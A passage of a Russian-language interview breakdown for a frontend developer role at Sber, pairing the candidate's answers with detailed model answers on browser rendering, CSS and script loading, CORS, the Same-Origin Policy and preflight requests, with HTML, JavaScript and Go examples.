ДАЛИ ОТКАЗ ИЗ-ЗА СЛИШКОМ ХОРОШИХ ОТВЕТОВ!? РЕАЛЬНОЕ СОБЕСЕДОВАНИЕ FRONTEND НА 300К В СБЕР
Сегодня мы разберем собеседование на позицию фронтенд-разработчика, в ходе которого кандидат продемонстрировал глубокое понимание процессов рендеринга в браузере, работы с сетью (DNS, TCP, CORS) и управления состоянием (Redux). Несмотря на некоторые пробелы в тонкостях безопасности и работе с современными API, кандидат показал себя как уверенный специалист уровня Middle+, способный уверенно решать практические задачи по оптимизации React-приложений.
Вопрос 1. Что происходит после ввода URL в адресную строку браузера до отображения готовой страницы?
Таймкод: 00:01:00
Ответ собеседника: Правильный. Сначала парсится URL и ищется IP-адрес через DNS: проверяется кэш браузера, роутера, устройства, затем DNS-сервер. После получения IP устанавливается TCP-соединение через трёхстороннее рукопожатие. Затем отправляется запрос HTML-страницы, которая преобразуется в DOM-дерево, строится render-дерево, рассчитываются размеры и позиции элементов (layout), происходит отрисовка (paint) и композитинг (composite).
Правильный ответ:
Ответ собеседника в целом верный и покрывает основные этапы. Ниже приведено более детальное описание каждого шага для полноты картины.
1. Парсинг URL
Браузер разбирает введённый URL на компоненты: протокол (http/https), доменное имя, порт, путь, параметры запроса и якорь. Если протокол не указан, по умолчанию подставляется http:// или https://. Если введён просто домен без пути, используется корневой путь /.
2. Проверка кэша браузера
Браузер сначала проверяет свой собственный кэш — если ресурс уже загружался ранее и заголовки кэширования (Cache-Control, Expires, ETag) позволяют использовать кэшированную версию, запрос в сеть не отправляется.
3. DNS-резолвинг
Если кэш браузера не содержит нужной записи, происходит поиск IP-адреса:
- Проверяется кэш браузера (DNS-кэш)
- Проверяется файл hosts операционной системы
- Проверяется кэш ОС
- Запрос отправляется к локальному DNS-резолверу (обычно провайдера)
- Если резолвер не знает ответ, он выполняет рекурсивный поиск: корневые DNS-серверы → TLD-серверы → авторитативные серверы домена
Для HTTPS также может использовать DNS over HTTPS (DoH) или DNS over TLS (DoT) для шифрования DNS-запросов.
4. Установка TCP-соединения (трёхстороннее рукопожатие)
После получения IP-адреса браузер устанавливает TCP-соединение через трёхэтапное рукопожатие:
- SYN → клиент отправляет пакет SYN серверу
- SYN-ACK → сервер отвечает SYN-ACK
- ACK → клиент подтверждает ACK
Если используется HTTPS, после TCP происходит TLS-рукопожатие (обмен сертификатами, согласование шифра, обмен ключами), что добавляет дополнительный round-trip.
5. Отправка HTTP-запроса
Браузер формирует HTTP-запрос с методом (GET, POST и т.д.), заголовками (User-Agent, Accept, Accept-Encoding, Cookie, Referer и прочие) и телом (для POST). Запрос отправляется по установленному соединению.
6. Обработка запроса на сервере
Сервер принимает запрос, маршрутизирует его к соответствующему обработчику. В контексте Go-бэкенда это может выглядеть так:
func handler(w http.ResponseWriter, r *http.Request) {
// Логика обработки запроса
html := generateHTML()
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.WriteHeader(http.StatusOK)
w.Write([]byte(html))
}
Сервер может обращаться к базе данных, кэшу (Redis), другим микросервисам, формировать ответ.
7. Получение ответа
Сервер отправляет HTTP-ответ с кодом статуса (200, 301, 404, 500 и т.д.), заголовками (Content-Type, Set-Cookie, Location для редиректов) и телом (HTML, JSON и т.д.).
8. Парсинг HTML и построение DOM
Браузер начинает инкрементально парсить HTML и строит DOM-дерево (Document Object Model). Парсинг может быть прерван при встрече тегов <script> (если они не помечены async/defer), <link> для CSS, <img> и других ресурсов.
9. Загрузка дополнительных ресурсов
По мере парсинга HTML браузер обнаруживает ссылки на CSS, JavaScript, изображения, шрифты и начинает их загрузку. Каждый ресурс проходит аналогичный цикл: DNS → TCP → запрос → ответ.
10. Построение CSSOM
CSS парсится и строится CSSOM (CSS Object Model). Внешние CSS-файлы блокируют рендеринг до их загрузки и парсинга.
11. Выполнение JavaScript
JavaScript может модифицировать DOM и CSSOM. Скрипты без defer/async блокируют парсинга HTML. Скрипты с defer выполняются после парсинга DOM, с async — как только загрузятся.
12. Построение Render Tree
Браузер объединяет DOM и CSSOM в Render Tree. В Render Tree включаются только видимые элементы (display: none исключается, visibility: hidden включается).
13. Layout (Reflow)
Рассчитываются точные размеры и позиции каждого элемента в Render Tree. Этот процесс называется layout или reflow.
14. Paint
Браузер определяет визуальные свойства элементов (цвета, градиенты, тени, изображения) и заполняет пиксели.
15. Compositing
Отдельные слои объединяются в финальное изображение, которое отображается на экране. Композитинг может использовать GPU для ускорения.
Дополнительные важные моменты:
- HTTP/2 и HTTP/3 — современные протоколы позволяют мультиплексировать запросы в одном соединении, что ускоряет загрузку
- Server-Side Rendering (SSR) — сервер может отправлять уже сгенерированный HTML, что ускоряет First Contentful Paint
- Critical Rendering Path — оптимизация последовательности загрузки и рендеринга для максимально быстрого отображения контента
- Preload, Prefetch, Preconnect — директивы для оптимизации загрузки ресурсов
- Service Workers — могут перехватывать сетевые запросы и кэшировать ресурсы на уровне приложения
Вопрос 2. Что происходит, когда браузер натыкается на подключённый файл со стилей CSS — продолжает рендерить страницу или блокирует рендеринг?
Таймкод: 00:03:23
Ответ собеседника: Неполный. Скрипты могут блокировать рендер, чтобы этого избежать можно подгружать их после рендера или использовать async/defer. На вопрос про CSS ответил, что не уверен, но упомянул возможность подключения стилей через тег style в body и инлайн-стили.
Правильный ответ:
CSS является блокирующим ресурсом для рендеринга (render-blocking), но не является блокирующим для парсинга HTML. Это важное различие.
Как работает блокировка CSS:
Когда браузер встречает тег <link rel="stylesheet"> в HTML, он продолжает парсить HTML (строить DOM), но блокирует рендеринг до тех пор, пока CSS-файл не будет загружен и распарсен, а CSSOM не будет построен. Это сделано для того, чтобы избежать мерцания контента без стилей (FOUC — Flash of Unstyled Content).
Почему CSS блокирует рендеринг:
JavaScript может обращаться к стилям элементов через getComputedStyle(), getBoundingClientRect() и другие API. Если бы рендеринг происходил до загрузки CSS, JavaScript мог бы получить некорректные значения стилей. Поэтому браузер ждёт построения CSSOM перед началом рендеринга.
Способы оптимизации загрузки CSS:
1. Разделение на критический и некритический CSS
Критический CSS (styles needed for above-the-fold content) встраивается инлайн в <head>:
<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; font-family: sans-serif; }
.header { background: #333; color: white; }
</style>
<!-- Некритические CSS загружаются асинхронно -->
<link rel="preload" href="non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="non-critical.css"></noscript>
</head>
2. Использование медиа-запросов
Стили, применяемые только при определённых условиях, не блокируют рендеринг для текущего контекста:
<!-- Блокирует только при печати -->
<link rel="stylesheet" href="print.css" media="print">
<!-- Блокирует только на экранах шириной от 768px -->
<link rel="stylesheet" href="desktop.css" media="(min-width: 768px)">
<!-- Всегда блокирует (default) -->
<link rel="stylesheet" href="all.css" media="all">
3. Инлайн-стили и тег style в body
Тег <style> внутри <body> и инлайн-стили через атрибут style не требуют дополнительных сетевых запросов, но увеличивают размер HTML и не кэшируются отдельно. Это может быть полезно для критических стилей, но не масштабируется для больших проектов.
Отличие от JavaScript:
В отличие от CSS, JavaScript (без async/defer) блокирует не только рендеринг, но и парсинг HTML. Браузер останавливает парсинг DOM при встрече <script>, загружает и выполняет его, а затем продолжает парсинг. Именно поэтому рекомендуется размещать скрипты перед закрывающим тегом </body> или использовать атрибуты async/defer.
Порядок обработки в Critical Rendering Path:
- Парсинг HTML → построение DOM
- Загрузка CSS → построение CSSOM (блокирует рендеринг)
- Выполнение JavaScript (блокирует парсинг и рендеринг)
- Объединение DOM + CSSOM → Render Tree
- Layout → Paint → Composite
Вопрос 3. Что произойдёт, если подключить основной файл стилей не в head, а в конце HTML-документа — как браузер обработает стили в head и в конце документа?
Таймкод: 00:04:36
Ответ собеседника: Неполный. Предположил, что сначала применятся одни стили, потом другие. Не упомянул проблему FOUC (мелькание нестилизованного контента) и блокирующее поведение CSS.
Правильный ответ:
Размещение основного файла стилей в конце HTML-документа (перед закрывающим </body>) приводит к нескольким серьёзным проблемам и является антипаттерном.
Что происходит при таком размещении:
1. FOUC (Flash of Unstyled Content)
Это главная проблема. Браузер парсит HTML инкрементально и начинает отображать контент по мере его поступления. Когда стили подключены в конце документа:
- Сначала пользователь видит весь HTML-контент без стилей — голый текст, стандартные шрифты, элементы в потоке документа
- Как только браузер доходит до
<link>с CSS в конце, он загружает файл и перестраивает рендеринг - Страница «прыгает» — элементы меняют позиции, размеры, цвета, шрифты
Это создаёт крайне неприятный пользовательский опыт.
2. Блокировка рендеринга откладывается
Когда CSS находится в <head>, браузер блокирует рендеринг сразу и показывает страницу только когда стили загружены. Когда CSS в конце — браузер не знает, что стили ещё не загружены, и рендерит нестилизованный контент.
3. Перестроение макета (reflow)
После загрузки CSS браузер вынужден пересчитать layout для всего уже отрендеренного контента. Это вызывает дополнительную нагрузку на производительность и визуально заметное «прыгание» элементов.
Как это выглядит на практике:
<!-- Плохо: CSS в конце документа -->
<body>
<header>Логотип</header>
<main>
<h1>Заголовок</h1>
<p>Текст без стилей...</p>
<button>Кнопка</button>
</main>
<footer>Подвал</footer>
<!-- Пользователь видит всё выше без стилей -->
<link rel="stylesheet" href="styles.css">
</body>
<!-- Правильно: CSS в head -->
<head>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Контент появится уже со стилями -->
<header>Логотип</header>
<main>
<h1>Заголовок</h1>
<p>Текст со стилями...</p>
<button>Кнопка</button>
</main>
<footer>Подвал</footer>
</body>
Исключения и нюансы:
1. Критический CSS инлайн + основной CSS асинхронно
Если критические стили встроены инлайн в <head>, а основной CSS загружается асинхронно, это допустимый паттерн оптимизации:
<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; }
.header { height: 60px; }
</style>
<!-- Основные стили загружаются без блокировки -->
<link rel="preload" href="main.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
</head>
2. Тег style в body
HTML5 допускает размещение <style> внутри <body> (с атрибутом scoped, который сейчас deprecated), но <link> в body формально не соответствует спецификации HTML, хотя браузеры это обрабатывают.
3. Разница в поведении с JavaScript
JavaScript в конце body — это нормальная практика (не блокирует парсинг HTML). CSS в конце body — антипаттерн. Это принципиальное отличие.
Итог:
CSS следует подключать в <head>. Если нужна оптимизация загрузки — используйте инлайн-критический CSS + асинхронную загрузку остальных стилей, разделение по медиа-запросам, или технику preload.
Вопрос 4. Как загрузить CSS-стили так, чтобы они не блокировали рендеринг страницы?
Таймкод: 00:05:00
Ответ собеседника: Неполный. Упомянул про критический CSS и вынесение его инлайн. Не назвал способ с media-атрибутами или preload для асинхронной загрузки стилей.
Правильный ответ:
Существует несколько техник загрузки CSS без блокировки рендеринга. Каждая имеет свои преимущества и сценарии применения.
1. Инлайн критического CSS (Critical CSS)
Самый эффективный подход — выделить стили, необходимые для отображения контента выше скролла (above-the-fold), и встроить их инлайн в <head>. Остальные стили загружаются асинхронно.
<head>
<style>
/* Критические стили для первого экрана */
body { margin: 0; font-family: system-ui, sans-serif; }
.header {
position: fixed; top: 0; left: 0; right: 0;
height: 64px; background: #1a1a2e;
}
.hero {
min-height: 100vh; display: flex;
align-items: center; justify-content: center;
}
.btn {
padding: 12px 24px; background: #e94560;
color: white; border: none; border-radius: 8px;
}
</style>
<!-- Некритические стили загружаются без блокировки -->
<link rel="preload" href="full-styles.css" as="style"
onload="this.onload=null;this.rel='stylesheet'">
<noscript>
<link rel="stylesheet" href="full-styles.css">
</noscript>
</head>
JavaScript-код onload="this.onload=null;this.rel='stylesheet'" меняет значение атрибута rel с preload на stylesheet после загрузки, применяя стили без перезагрузки страницы. <noscript> обеспечивает загрузку стилей при отключённом JavaScript.
2. Использование медиа-запросов
CSS-файлы с медиа-запросами, которые не соответствуют текущему контексту, загружаются браузером, но не блокируют рендеринг:
<!-- Блокирует рендеринг только при печати -->
<link rel="stylesheet" href="print.css" media="print">
<!-- Блокирует только на больших экранах -->
<link rel="stylesheet" href="desktop.css" media="(min-width: 1024px)">
<!-- Блокирует только на мобильных -->
<link rel="stylesheet" href="mobile.css" media="(max-width: 768px)">
<!-- Всегда блокирует (по умолчанию) -->
<link rel="stylesheet" href="global.css" media="all">
Оптимизация: разбить один большой CSS-файл на несколько по медиа-запросам. Браузер загрузит все, но заблокирует рендеринг только для тех, чьи медиа-запросы совпадают.
3. Атрибут rel="preload" с динамическим применением
Современный подход с использованием preload для приоритетной загрузки:
<head>
<!-- Preload загружает файл с высоким приоритетом, но не применяет -->
<link rel="preload" href="styles.css" as="style"
onload="this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="styles.css"></noscript>
</head>
4. CSS Containment
CSS-свойство contain позволяет браузеру изолировать часть DOM-дерева, что оптимизирует рендеринг:
.card {
contain: content; /* или layout, style, paint, strict */
}
Это не убирает блокировку CSS напрямую, но снижает стоимость reflow/repaint.
5. HTTP/2 Server Push (устаревающий подход)
Сервер может отправить CSS-файл до того, как клиент его запросил:
// Пример на Go с использованием HTTP/2 Push
func handler(w http.ResponseWriter, r *http.Request) {
if pusher, ok := w.(http.Pusher); ok {
// Отправляем CSS через Server Push
pusher.Push("/static/styles.css", nil)
}
// ... рендеринг HTML
}
Примечание: Server Push поддерживается не всеми браузерами и считается устаревающим подходом в пользу preload.
6. Оптимизация через сборщики
Современные инструменты сборки автоматизируют извлечение критического CSS:
- Critical (npm-пакет) — извлекает критический CSS для заданного viewport
- Penthouse — генерирует critical CSS
- critters (для Webpack) — автоматически инлайнит critical CSS и lazy-loadит остальное
Сравнение подходов:
| Подход | Сложность | Эффект | Поддержка |
|---|---|---|---|
| Инлайн критического CSS | Средняя | Высокий | Все браузеры |
| Медиа-запросы | Низкая | Средний | Все браузеры |
| Preload + onload | Низкая | Высокий | Современные |
| CSS Containment | Низкая | Средний | Современные |
Рекомендуемая стратегия:
Для большинства проектов оптимальная комбинация — инлайн критического CSS для первого экрана + preload для остальных стилей + разделение по медиа-запросам при необходимости.
Вопрос 5. Какие способы отложенной загрузки скриптов существуют и есть ли разница между async и defer?
Таймкод: 00:05:34
Ответ собеседника: Правильный. Упомянул async и defer. Объяснил, что async не соблюдает порядок загрузки скриптов, а defer загружает по порядку. Также отметил, что defer срабатывает до события DOMContentLoaded.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание для полноты картины.
Три режима загрузки скриптов:
1. Обычное поведение (без атрибутов)
<script src="script.js"></script>
Браузер при встрече такого тега останавливает парсинг HTML, загружает и выполняет скрипт, затем продолжает парсинг. Это блокирует как парсинг, так и рендеринг.
2. async (асинхронная загрузка)
<script async src="script.js"></script>
- Загрузка скрипта происходит параллельно с парсингом HTML (не блокирует парсинг)
- Выполнение происходит сразу после загрузки, прерывая парсинг HTML
- Порядок выполнения не гарантирован — скрипты выполняются в порядке загрузки
- Подходит для независимых скриптов: аналитика, реклама, счётчики
3. defer (отложенное выполнение)
<script defer src="script.js"></script>
- Загрузка происходит параллельно с парсингом HTML
- Выполнение откладывается до полного завершения парсинга HTML
- Порядок выполнения сохраняется — скрипты выполняются в порядке объявления
- Выполнение происходит перед событием DOMContentLoaded
- Подходит для скриптов, которые зависят от DOM или друг от друга
Наглядное сравнение:
Обычный script:
HTML parsing: ████ [download] [execute] ████████████
↑ блокировка
async:
HTML parsing: ██████████████████████████████████████
Download: ██████ [execute] ↑ прерывание парсинга
defer:
HTML parsing: ██████████████████████████████████████
Download: ██████
Execute: ↑ после парсинга, перед DOMContentLoaded
Практические примеры использования:
<head>
<!-- Аналитика — не зависит от DOM, порядок не важен -->
<script async src="https://analytics.example.com/tracker.js"></script>
<!-- Основной скрипт приложения — зависит от DOM -->
<script defer src="app.js"></script>
<!-- Библиотека и скрипт, зависящий от неё — порядок важен -->
<script defer src="jquery.js"></script>
<script defer src="plugins.js"></script>
</head>
Дополнительные способы отложенной загрузки:
4. Динамическое создание скриптов
// Загрузка скрипта по требованию
function loadScript(src) {
const script = document.createElement('script');
script.src = src;
script.async = true; // по умолчанию для динамических скриптов
document.head.appendChild(script);
}
// Загрузка при необходимости
if (needAnalytics) {
loadScript('/analytics.js');
}
5. type="module"
<script type="module" src="app.mjs"></script>
Модули ES6 по умолчанию ведут себя как defer — загружаются параллельно, выполняются после парсинга HTML, порядок сохраняется.
6. Intersection Observer для ленивой загрузки
// Загрузка скрипта при появлении элемента в viewport
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
loadScript('/heavy-widget.js');
observer.unobserve(entry.target);
}
});
});
observer.observe(document.querySelector('.widget-container'));
Когда что использовать:
| Сценарий | Рекомендация |
|---|---|
| Аналитика, счётчики | async |
| Основной скрипт приложения | defer |
| Скрипты с зависимостями | defer |
| Независимые виджеты | async |
| Скрипты, которые нужны не сразу | динамическая загрузка |
| ES6-модули | type="module" |
Вопрос 6. Что такое CORS и как он работает?
Таймкод: 00:06:45
Ответ собеседника: Правильный. CORS — это браузерная политика безопасности, ограничивающая кросс-доменные запросы для защиты от мошеннических сайтов. Регулируется сервером через заголовки (origin headers). Перед кросс-доменным запросом отправляется preflight-запрос (OPTIONS), который проверяется браузером, и только при успешной проверке отправляется основной запрос.
Правильный ответ:
Ответ собеседника корректен. Ниже приведено более детальное описание.
Что такое CORS:
CORS (Cross-Origin Resource Sharing) — механизм безопасности, реализованный в браузерах, который контролирует доступ веб-страниц к ресурсам с другого источника (origin). Origin определяется комбинацией протокола, домена и порта.
https://example.com:443/api/users
├─┬──────┘ ├──────┬─────┘ ├┬┘
protocol host port path
Origin: https://example.com (protocol + host + port)
Same-Origin Policy (SOP):
По умолчанию браузеры блокируют кросс-доменные запросы из JavaScript (fetch, XMLHttpRequest). CORS — механизм, позволяющий серверу явно разрешить такие запросы.
Простые запросы (Simple Requests):
Не вызывают preflight, если соответствуют всем условиям:
- Метод: GET, HEAD или POST
- Заголовки: только CORS-safelisted (Accept, Accept-Language, Content-Language, Content-Type)
- Content-Type: только application/x-www-form-urlencoded, multipart/form-data, text/plain
// Простой запрос — без preflight
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data));
Заголовки ответа сервера:
Access-Control-Allow-Origin: https://mysite.com
Access-Control-Allow-Credentials: true
Preflight-запрос (Non-simple Requests):
Для запросов, не соответствующих критериям простых, браузер сначала отправляет OPTIONS-запрос:
// Вызовет preflight из-за Content-Type: application/json
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Custom-Header': 'value'
},
body: JSON.stringify({ key: 'value' })
});
Схема preflight:
Браузер Сервер
| |
|--- OPTIONS /data ------------>|
| Origin: https://mysite.com |
| Access-Control-Request-Method: POST |
| Access-Control-Request-Headers: content-type, x-custom-header |
| |
|<-- 200 OK --------------------|
| Access-Control-Allow-Origin: https://mysite.com |
| Access-Control-Allow-Methods: GET, POST, PUT |
| Access-Control-Allow-Headers: content-type, x-custom-header |
| Access-Control-Max-Age: 86400 |
| |
|--- POST /data --------------->|
| (основной запрос) |
| |
|<-- 200 OK --------------------|
| (данные) |
Реализация CORS на Go:
package main
import (
"net/http"
"strings"
)
// CORS middleware
func corsMiddleware(allowedOrigins []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
// Проверяем, разрешён ли origin
for _, allowed := range allowedOrigins {
if allowed == "*" || allowed == origin {
w.Header().Set("Access-Control-Allow-Origin", origin)
break
}
}
// Preflight-запрос
if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Custom-Header")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"message": "Hello, CORS!"}`))
})
handler := corsMiddleware([]string{
"https://mysite.com",
"https://app.mysite.com",
})(mux)
http.ListenAndServe(":8080", handler)
}
Использование библиотеки rs/cors:
import "github.com/rs/cors"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", dataHandler)
c := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
MaxAge: 86400,
})
handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}
Ключевые заголовки CORS:
| Заголовок | Назначение |
|---|---|
| Access-Control-Allow-Origin | Разрешённые origin (* или конкретный) |
| Access-Control-Allow-Methods | Разрешённые HTTP-методы |
| Access-Control-Allow-Headers | Разрешённые заголовки |
| Access-Control-Allow-Credentials | Разрешены ли cookies/авторизация |
| Access-Control-Max-Age | Время кэширования preflight (секунды) |
| Access-Control-Expose-Headers | Заголовки, доступные клиенту |
Важные нюансы:
- Access-Control-Allow-Origin: * несовместим с Allow-Credentials: true
- Сервер должен явно обрабатывать OPTIONS для preflight
- CORS — браузерная защита; сервер-к-сервер запросы не ограничены
Вопрос 7. Что было до появления CORS — существовали ли другие политики ограничения кросс-доменных запросов?
Таймкод: 00:08:30
Ответ собеседника: Неполный. Предположил, что до CORS обмен между ресурсами был свободным. Упомянул Content Security Policy и origin policy, но не назвал SOP (Same-Origin Policy) как прямого предшественника CORS.
Правильный ответ:
До CORS не было свободного обмена — действовала Same-Origin Policy (SOP), которая была ещё более строгой и блокировала практически все кросс-доменные запросы.
Хронология развития:
1. Ранний веб (до ~1995) — отсутствие ограничений
В самых ранних браузерах не было чёткой политики безопасности. Страница могла свободно обращаться к ресурсам с других доменов через фреймы, скрипты и другие механизмы. Это создавало серьёзные уязвимости.
2. Same-Origin Policy (1995, Netscape Navigator 2.0)
Netscape ввела SOP как ответ на растущие угрозы безопасности. SOP запрещала:
- Чтение ответов кросс-доменных запросов (XMLHttpRequest, fetch)
- Доступ к DOM фреймов с другим origin
- Чтение cookies другого домена
Что SOP запрещала, а CORS разрешает:
| Операция | SOP | CORS |
|---|---|---|
| Загрузка скриптов с другого домена | Разрешена | Разрешена |
| Загрузка изображений, CSS | Разрешена | Разрешена |
| Отправка форм POST | Разрешена | Разрешена |
| Чтение ответа XMLHttpRequest | Запрещена | Разрешена с заголовками CORS |
| Доступ к DOM iframe с другим origin | Запрещена | Разрешена через postMessage |
3. Проблемы SOP и появление CORS
SOP была слишком строгой для развивающегося веба:
- Невозможно было создавать API для сторонних приложений
- Нельзя было загружать данные с других доменов
- Разработчики использовали обходные пути: JSONP, прокси-серверы, flash
4. Обходные пути до CORS:
JSONP (JSON with Padding) — использовал тот факт, что <script> не подчиняется SOP:
function handleResponse(data) {
console.log(data);
}
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.head.appendChild(script);
// Сервер отвечает:
// handleResponse({"name": "John", "age": 30});
Недостатки JSONP: только GET-запросы, нет обработки ошибок, уязвимость к XSS.
Прокси-серверы:
// Прокси на Go для обхода SOP
func proxyHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")
resp, err := http.Get(targetURL)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
w.Header().Set("Content-Type", resp.Header.Get("Content-Type"))
w.Write(body)
}
5. Появление CORS (2009–2014)
CORS был разработан как стандартизированный способ ослабления SOP с согласия сервера:
- 2009 — первый черновик W3C
- 2014 — рекомендация W3C (Recommendation)
- Поддержка всеми современными браузерами
Content Security Policy (CSP):
CSP — отдельный механизм безопасности, появившийся позже (2012), который контролирует, какие ресурсы может загружать страница:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; connect-src https://api.example.com
CSP дополняет CORS, но решает другие задачи — защита от XSS и контроль источников контента.
Итог:
CORS не заменил свободный обмен — он заменил полный запрет (SOP) на контролируемый обмен с согласия сервера. SOP по-прежнему действует как базовая политика безопасности, а CORS — механизм для её контролируемого ослабления.
Вопрос 8. Какие условия делают кросс-доменный запрос сложным (непростым), требующим preflight-запроса?
Таймкод: 00:10:02
Ответ собеседника: Правильный. Простые запросы — это GET или POST без дополнительных заголовков и тела. Все остальные запросы считаются сложными и требуют preflight. Уточнил, что технически GET может содержать тело, но это ограничение REST-архитектуры.
Правильный ответ:
Ответ собеседника в целом верен, но требует уточнений. Ниже приведены точные критерии.
Критерии простого запроса (Simple Request):
Запрос считается простым и не вызывает preflight только если одновременно выполняются все следующие условия:
1. Метод запроса:
Допустимы только: GET, HEAD, POST
Любой другой метод (PUT, DELETE, PATCH, OPTIONS) автоматически делает запрос сложным.
2. Заголовки (CORS-safelisted):
Разрешены только автоматически устанавливаемые заголовки браузера и ограниченный набор явных заголовков:
AcceptAccept-LanguageContent-LanguageContent-Type(только с определёнными значениями)Range(только с простыми значениями)
Любой другой заголовок делает запрос сложным:
// Сложный запрос — кастомный заголовок
fetch('https://api.example.com/data', {
headers: {
'X-API-Key': 'secret', // ← кастомный заголовок
'Authorization': 'Bearer token' // ← кастомный заголовок
}
});
3. Content-Type (если присутствует):
Допустимы только три значения:
application/x-www-form-urlencodedmultipart/form-datatext/plain
// Простой запрос
fetch('https://api.example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'name=John&age=30'
});
// Сложный запрос — Content-Type: application/json
fetch('https://api.example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'John', age: 30 })
});
4. Дополнительные ограничения:
- На XMLHttpRequest не должны быть зарегистрированы обработчики событий upload
- В запросе не должен использоваться объект ReadableStream
Что точно вызывает preflight:
| Условие | Пример |
|---|---|
| Метод PUT/DELETE/PATCH | fetch(url, { method: 'DELETE' }) |
| Content-Type: application/json | Самый частый случай |
| Кастомные заголовки | X-API-Key, Authorization |
| Content-Type: text/xml | XML-запросы |
Практический пример — реализация на Go:
package main
import (
"net/http"
"strings"
)
func apiHandler(w http.ResponseWriter, r *http.Request) {
// Определяем, нужен ли preflight
if r.Method == http.MethodOptions {
// Проверяем, что запрашивает клиент
requestedMethod := r.Header.Get("Access-Control-Request-Method")
requestedHeaders := r.Header.Get("Access-Control-Request-Headers")
// Разрешаем запрошенные методы и заголовки
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-API-Key")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}
// Основной запрос
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"status": "ok"}`))
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", apiHandler)
http.ListenAndServe(":8080", mux)
}
Важный нюанс:
Технически GET-запросы могут содержать тело согласно HTTP-спецификации, но:
- Это не поддерживается fetch/XHR API
- Многие серверы и прокси игнорируют тело GET
- Это не является частью REST-архитектуры — это ограничение браузерных API
Вопрос 9. Работает ли CORS на все типы запросов или можно настроить выборочное пропускание определённых методов?
Таймкод: 00:11:24
Ответ собеседника: Правильный. Предположил, что CORS работает на все запросы, но при уточнении вспомнил, что в настройках endpoint можно указать, какие методы пропускать, а какие нет.
Правильный ответ:
CORS можно гибко настраивать на уровне отдельных endpoint, методов, заголовков и origin. Сервер полностью контролирует, какие запросы пропускать.
Гранулярность настройки CORS:
1. По endpoint (разные правила для разных путей)
func main() {
mux := http.NewServeMux()
// Публичный API — разрешить всем
mux.Handle("/api/public", corsMiddleware(cors.Config{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET"},
})(publicHandler()))
// Приватный API — только конкретный origin
mux.Handle("/api/private", corsMiddleware(cors.Config{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
})(privateHandler()))
http.ListenAndServe(":8080", mux)
}
2. По HTTP-методу
func corsHandler(allowedMethods []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
// Проверяем origin
if !isAllowedOrigin(origin) {
http.Error(w, "CORS origin not allowed", http.StatusForbidden)
return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
// Preflight — отвечаем только разрешёнными методами
if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Methods",
strings.Join(allowedMethods, ", "))
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Max-Age", "86400")
w.WriteHeader(http.StatusNoContent)
return
}
// Проверяем, разрешён ли метод для данного endpoint
if !isAllowedMethod(r.Method, allowedMethods) {
http.Error(w, "CORS method not allowed", http.StatusMethodNotAllowed)
return
}
next.ServeHTTP(w, r)
})
}
}
3. По origin (белый список)
func isAllowedOrigin(origin string) bool {
allowedOrigins := map[string]bool{
"https://mysite.com": true,
"https://app.mysite.com": true,
"https://admin.mysite.com": true,
}
return allowedOrigins[origin]
}
4. По заголовкам
func corsWithHeaders(allowedHeaders []string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")
if r.Method == http.MethodOptions {
w.Header().Set("Access-Control-Allow-Headers",
strings.Join(allowedHeaders, ", "))
